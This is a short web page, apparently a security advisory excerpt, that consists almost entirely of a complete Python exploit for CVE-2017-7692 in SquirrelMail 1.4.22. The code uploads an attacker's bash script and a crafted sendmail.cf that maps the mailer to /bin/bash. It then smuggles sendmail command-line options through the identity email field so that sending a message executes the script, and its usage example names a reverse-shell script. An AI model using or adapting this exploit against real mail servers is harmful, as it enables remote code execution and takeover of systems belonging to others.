The followig python script exploits this vulnerability to execute an attacker provided bash script on the remote server.
BOF
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
SquirrelMail 1.4.22 Remote Code Execution (authenticated)
Exploit code for CVE-2017-7692
filippo.cavallarin () wearesegment com
"""
from __future__ import unicode_literals
import sys
import os
import re
import requests
reload(sys)
sys.setdefaultencoding('utf8')
SENDMAILCF="/tmp/squirrelmail1_4_22-sendmailcf-rce"
COMPOSE = "/src/compose.php"
INFOS = "/src/options.php?optpage=personal"
SQM_ATTACH_PATH = "/var/local/squirrelmail/attach/"
# must be enclosed in <> otherwise spaces will be removed ..
SENDER = "<px () xxxx com -OQueueDirectory=/tmp -C %s%s>"
SESSID = ""
BASEURL = ""
def attach(attachment):
url = "%s%s" % (BASEURL, COMPOSE)
token = get_csrf_token(url)
values = {
"smtoken": token,
"attach": "add"
}
try:
files = {'attachfile': open(attachment,'rb')}
resp = requests.post(url, files=files, data=values, cookies={'SQMSESSID':SESSID})
fname = re.search(r'att_local_name";s:[0-9]+:"([a-zA-Z0-9]+)"', resp.text)
if not fname:
print "\nError: unable to upload file %s" % attachment
return fname.group(1)
except Exception as e:
print "\nError: %s" % e
sys.exit(1)
def send():
url = "%s%s" % (BASEURL, COMPOSE)
token = get_csrf_token(url)
values = {
"smtoken": token,
"send_to": "root",
"send": "Send"
}
try:
resp = requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
except Exception as e:
print "\nError: %s" % e
sys.exit(1)
def set_identity(sender):
url = "%s%s" % (BASEURL, INFOS)
token = get_csrf_token(url)
values = {
"smtoken": token,
"optpage": "personal",
"optmode": "submit",
"new_email_address": sender,
"submit_personal": "Submit"
}
try:
requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
except Exception as e:
print "\nError: %s" % e
sys.exit(1)
def get_csrf_token(url):
try:
body = requests.get(url, cookies={'SQMSESSID':SESSID}).text
inp = re.search(r'<input.*name="smtoken".*>', body, re.MULTILINE)
token = re.search(r'value="([a-zA-Z0-9]+)"', inp.group(0))
if token:
return token.group(1)
except Exception as e:
pass
print "\nUnable to get CSRF token"
sys.exit(1)
def outw(s):
sys.stdout.write(s)
sys.stdout.flush()
def main(argv):
global BASEURL
global SESSID
if len(argv) != 4:
print (
"SquirrelMail 1.4.22 Remote Code Execution (authenticated) - filippo.cavallarin () wearesegment com\n"
"The target server must use sendmail and squirrelmail must be configured to use /usr/bin/sendmail\n"
"Usage:\n"
" %s <url> <session_id> <script>\n"
" url: the url of squirrelmail\n"
" session_id: the value of SQMSESSID cookie\n"
" script: the path to the bash script to be executed on the target\n"
"Example:\n"
" %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev24 reverseshell.sh"
) % (argv[0], argv[0])
sys.exit(1)
BASEURL = argv[1]
SESSID = argv[2]
script = argv[3]
outw("Uploading script ... ")
script_fname = attach(script)
print "ok"
outw("Generating sendmail.cf ... ")
try:
script_path = "%s%s" % (SQM_ATTACH_PATH, script_fname)
with open(SENDMAILCF, 'w') as f:
f.write(SENDMAILCF_CONTENT % script_path)
except Exception as e:
print "\nError: %s" % e
sys.exit(1)
print "ok"
outw("Uploading sendmail.cf ... ")
smc_fname = attach(SENDMAILCF)
os.remove(SENDMAILCF)
print "ok"
outw("Updating user options ... ")
sender = SENDER % (SQM_ATTACH_PATH, smc_fname)
set_identity(sender)
print "ok"
outw("Checking identity field ... ")
icheck = requests.get("%s%s" % (BASEURL, INFOS), cookies={'SQMSESSID':SESSID}).text
if not smc_fname in icheck:
print "\nError: unable to set identity field .. maybe squirrelmail is configured with edit_identity=false"
sys.exit(1)
print "ok"
outw("Executing script ... ")
send()
print "ok\n"
sys.exit(0)
SENDMAILCF_CONTENT = """
O
DontBlameSendmail=,AssumeSafeChown,ForwardFileInGroupWritableDirPath,GroupWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileInGroupWritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonRootSafeAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile
Kdequote dequote
Scanonify=3
R$@ $@ <@>
R$* $: $1 <@> mark addresses
R$* < $* > $* <@> $: $1 < $2 > $3 unmark <addr>
R@ $* <@> $: @ $1 unmark @host:...
R$* [ IPv6 : $+ ] <@> $: $1 [ IPv6 : $2 ] unmark IPv6 addr
R$* :: $* <@> $: $1 :: $2 unmark node::addr
R:include: $* <@> $: :include: $1 unmark :include:...
R$* : $* [ $* ] $: $1 : $2 [ $3 ] <@> remark if leading colon
R$* : $* <@> $: $2 strip colon if marked
R$* <@> $: $1 unmark
R$* ; $1 strip trailing semi
R$* < $+ :; > $* $@ $2 :; <@> catch <list:;>
R$* < $* ; > $1 < $2 > bogus bracketed semi
R$@ $@ :; <@>
R$* $: < $1 > housekeeping <>
R$+ < $* > < $2 > strip excess on left
R< $* > $+ < $1 > strip excess on right
R<> $@ < @ > MAIL FROM:<> case
R< $+ > $: $1 remove housekeeping <>
R@ $+ , $+ $2
R@ [ $* ] : $+ $2
R@ $+ : $+ $2
R $+ : $* ; @ $+ $@ $>Canonify2 $1 : $2 ; < @ $3 > list syntax
R $+ : $* ; $@ $1 : $2; list syntax
R$+ @ $+ $: $1 < @ $2 > focus on domain
R$+ < $+ @ $+ > $1 $2 < @ $3 > move gaze right
R$+ < @ $+ > $@ $>Canonify2 $1 < @ $2 > already canonical
R$- ! $+ $@ $>Canonify2 $2 < @ $1 .UUCP > resolve uucp names
R$+ . $- ! $+ $@ $>Canonify2 $3 < @ $1 . $2 > domain uucps
R$+ ! $+ $@ $>Canonify2 $2 < @ $1 .UUCP > uucp subdomains
R$* %% $* $1 @ $2 First make them all @s.
R$* @ $* @ $* $1 %% $2 @ $3 Undo all but the last.
R$* @ $* $@ $>Canonify2 $1 < @ $2 > Insert < > and finish
R$* $@ $>Canonify2 $1
SCanonify2=96
R$* < @ localhost > $* $: $1 < @ $j . > $2 no domain at all
R$* < @ localhost . $m > $* $: $1 < @ $j . > $2 local domain
R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2 .UUCP domain
R$* < @ [ $+ ] > $* $: $1 < @@ [ $2 ] > $3 mark [addr]
R$* < @@ $=w > $* $: $1 < @ $j . > $3 self-literal
R$* < @@ $+ > $* $@ $1 < @ $2 > $3 canon IP addr
Sfinal=4
R$+ :; <@> $@ $1 : handle <list:;>
R$* <@> $@ handle <> and list:;
R$* < @ $+ . > $* $1 < @ $2 > $3
R$* < @ *LOCAL* > $* $1 < @ $j > $2
R$* < $+ > $* $1 $2 $3 defocus
R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3 <route-addr> canonical
R@ $* $@ @ $1 ... and exit
R$+ @ $- . UUCP $2!$1 u () h UUCP => h!u
R$+ %% $=w @ $=w $1 @ $2 u%%host@host => u@host
SRecurse=97
R$* $: $>canonify $1
R$* $@ $>parse $1
Sparse=0
R$* $: $>Parse0 $1 initial parsing
R<@> $#local $: <@> special case error msgs
R$* $: $>ParseLocal $1 handle local hacks
R$* $: $>Parse1 $1 final parsing
SParse0
R<@> $@ <@> special case error msgs
R$* : $* ; <@> $#error $@ 5.1.3 $: "553 List:; syntax illegal for recipient addresses"
R@ <@ $* > < @ $1 > catch "@@host" bogosity
R<@ $+> $#error $@ 5.1.3 $: "553 User address required"
R$+ <@> $#error $@ 5.1.3 $: "553 Hostname required"
R$* $: <> $1
R<> $* < @ [ $* ] : $+ > $* $1 < @ [ $2 ] : $3 > $4
R<> $* < @ [ $* ] , $+ > $* $1 < @ [ $2 ] , $3 > $4
R<> $* < @ [ $* ] $+ > $* $#error $@ 5.1.2 $: "553 Invalid address"
R<> $* < @ [ $+ ] > $* $1 < @ [ $2 ] > $3
R<> $* <$* : $* > $* $#error $@ 5.1.3 $: "553 Colon illegal in host name part"
R<> $* $1
R$* < @ . $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
R$* < @ $* @ > $* $#error $@ 5.1.2 $: "553 Invalid route address"
R$* @ $* < @ $* > $* $#error $@ 5.1.3 $: "553 Invalid route address"
R$* , $~O $* $#error $@ 5.1.3 $: "553 Invalid route address"
R$* < @ > $* $@ $>Parse0 $>canonify $1 user@ => user
R< @ $=w . > : $* $@ $>Parse0 $>canonify $2 @here:... -> ...
R$- < @ $=w . > $: $(dequote $1 $) < @ $2 . > dequote "foo"@here
R< @ $+ > $#error $@ 5.1.3 $: "553 User address required"
R$* $=O $* < @ $=w . > $@ $>Parse0 $>canonify $1 $2 $3 ...@here -> ...
R$- $: $(dequote $1 $) < @ *LOCAL* > dequote "foo"
R< @ *LOCAL* > $#error $@ 5.1.3 $: "553 User address required"
R$* $=O $* < @ *LOCAL* >
$@ $>Parse0 $>canonify $1 $2 $3 ...@*LOCAL* -> ...
R$* < @ *LOCAL* > $: $1
SParse1
R$* < @ [ $+ ] > $* $: $>ParseLocal $1 < @ [ $2 ] > $3 numeric internet spec
R$* < @ [ $+ ] > $* $: $1 < @ [ $2 ] : $S > $3 Add smart host to path
R$* < @ [ $+ ] : > $* $#esmtp $@ [$2] $: $1 < @ [$2] > $3 no smarthost: send
R$* < @ [ $+ ] : $- : $*> $* $#$3 $@ $4 $: $1 < @ [$2] > $5 smarthost with mailer
R$* < @ [ $+ ] : $+ > $* $#esmtp $@ $3 $: $1 < @ [$2] > $4 smarthost without mailer
R$=L < @ $=w . > $#local $: @ $1 special local names
R$+ < @ $=w . > $#local $: $1 regular local name
R$* < @ $* > $* $: $>MailerToTriple < $S > $1 < @ $2 > $3 glue on smarthost name
R$* < @$* > $* $#esmtp $@ $2 $: $1 < @ $2 > $3 user@host.domain
R$=L $#local $: @ $1 special local names
R$+ $#local $: $1 regular local names
SLocal_localaddr
Slocaladdr=5
R$+ $: $1 $| $>"Local_localaddr" $1
R$+ $| $#ok $@ $1 no change
R$+ $| $#$* $#$2
R$+ $| $* $: $1
R$+ + * $#local $@ $&h $: $1
R$+ + $* $#local $@ + $2 $: $1 + *
R$+ $: <> $1
R< > $+ $: < > < $1 <> $&h > nope, restore +detail
R< > < $+ <> + $* > $: < > < $1 + $2 > check whether +detail
R< > < $+ <> $* > $: < > < $1 > else discard
R< > < $+ + $* > $* < > < $1 > + $2 $3 find the user part
R< > < $+ > + $* $#local $@ $2 $: @ $1 strip the extra +
R< > < $+ > $@ $1 no +detail
R$+ $: $1 <> $&h add +detail back in
R$+ <> + $* $: $1 + $2 check whether +detail
R$+ <> $* $: $1 else discard
R< local : $* > $* $: $>MailerToTriple < local : $1 > $2 no host extension
R< error : $* > $* $: $>MailerToTriple < error : $1 > $2 no host extension
R< $~[ : $+ > $+ $: $>MailerToTriple < $1 : $2 > $3 < @ $2 >
R< $+ > $+ $@ $>MailerToTriple < $1 > $2 < @ $1 >
SParseLocal=98
SEnvFromL
R<@> $n errors to mailer-daemon
R@ <@ $*> $n temporarily bypass Sun bogosity
R$+ $: $>AddDomain $1 add local domain if needed
R$* $: $>MasqEnv $1 do masquerading
SEnvToL
R$+ < @ $* > $: $1 strip host part
R$+ + $* $: < $&{addr_type} > $1 + $2 mark with addr type
R<e s> $+ + $* $: $1 remove +detail for sender
R< $* > $+ $: $2 else remove mark
SHdrFromL
R<@> $n errors to mailer-daemon
R@ <@ $*> $n temporarily bypass Sun bogosity
R$+ $: $>AddDomain $1 add local domain if needed
R$* $: $>MasqHdr $1 do masquerading
SHdrToL
R$+ $: $>AddDomain $1 add local domain if needed
R$* $: $>MasqHdr $1 do all-masquerading
SAddDomain
R$* < @ $* > $* $@ $1 < @ $2 > $3 already fully qualified
R$+ $@ $1 < @ *LOCAL* > add local qualification
Mlocal, P=/bin/bash, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix,
A=X %s
Mprog, P=/bin/sh, F=lsDFMoqeu9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, D=$z:/,
T=X-Unix/X-Unix/X-Unix,
A=sh -c $u
"""
if __name__ == '__main__':
main(sys.argv)
暂无评论